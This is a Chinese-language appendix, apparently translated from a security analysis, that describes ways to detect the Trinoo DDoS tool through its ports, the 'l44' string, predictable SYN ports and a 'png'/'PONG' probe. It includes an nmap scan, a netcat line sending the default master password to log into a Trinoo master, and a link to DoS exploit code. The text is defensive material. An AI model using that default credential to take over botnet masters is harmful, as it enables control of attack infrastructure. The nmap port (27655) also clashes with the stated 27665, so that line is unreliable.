http://packetstorm.securify.com/exploits/DoS/targa.c
附录D - Trinoo攻击报告(略).
附录E - 更多的监测trinoo方法
作者:David Brumley
David Dittrich
George Weaver
监测Trinoo
现在的Trinoo有几个特征可以用于对IP数据流记录进行监测
Trinoo守护程序 (ns.c) -
1. Trinoo守护程序缺省的监听端口为UDP 27444
2. Trinoo守护程序的所有通讯必须包含字符串l44
3. SYN flood攻击机制使用如下算法确定目标端口:
to.syn_port = htons(rand() % 65534)
可以获得以下特征
a. randomize()/srandom()从未被调用,因此目标端口总是满足以下算法:
SYN 包1的目标端口为 x
SYN 包2的目标端口y为:
srandom(x); y = rand();
SYN 包3的目标端口z为:
srandom(y); z = rand();
b. 因为取模为65534,则目标端口0有效,而65535则无效。
IDS系统监测daemon(守护程序):
1. 监视目标端口为27444的UDP连接。此连接为控制会话。
2. 字符串"l44"经常中数据包中出现意味着存在trinoo控制会话。
3. 运行trinoo的DoS攻击(SYN Floods)时可用上面提到的第3个特征识别。另外,如果你能够捕获第一个SYN包,其目标端口号总是srand(1);rand();的返回的结果。在作者的手提电脑中,目标端口序列的
一个例子如下:
32540
48264
58208
56084
46021
37263
6890
38941
17766
40714
虽然这不能阻止拒绝服务,但可证实trinoo攻击的存在,你就应该开始寻找它的主服务器了!
在网络中识别trinoo守护程序:
1. 主服务器保留了一份trinoo守护程序列表索引,这是通过主服务器发送"png"命令,而激活(可用)的守护程序将回应"PONG"字符串来确定的。最初的设计者可能是想让主服务器能够知道哪些守护程序是可用的。你可以编写可发送定制UDP数据包的程序来扫描一个网络,如果存在trinoo守护程序,则会收到相应的回应。
Trinoo主服务器(master.c) -
以下网络通讯说明存在trinoo主服务器:
1. 发送目标端口为27444的UDP数据包
2. UDP数据包中包含字符串(l44adsl)
3. 有服务器绑定到端口27665
IDS系统监测trinoo主服务器:
1. 寻找协议类型17(UDP)的数据流
2. 到端口27665(trinoo主服务器)的TCP连接(协议类型6)
在网络中监测Trinoo主服务器
1. 如果服务器口令没有被修改,也没有修改监听端口,可以使用nmap工具监听27655端口以捕获所有监听该端口的主机。如:
nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
在得到可疑的主机清单后,可以使用自动登录的方法进行识别。使用netcat程序进行自动登录的方法如下:
echo "betaalmostdone" | nc 27665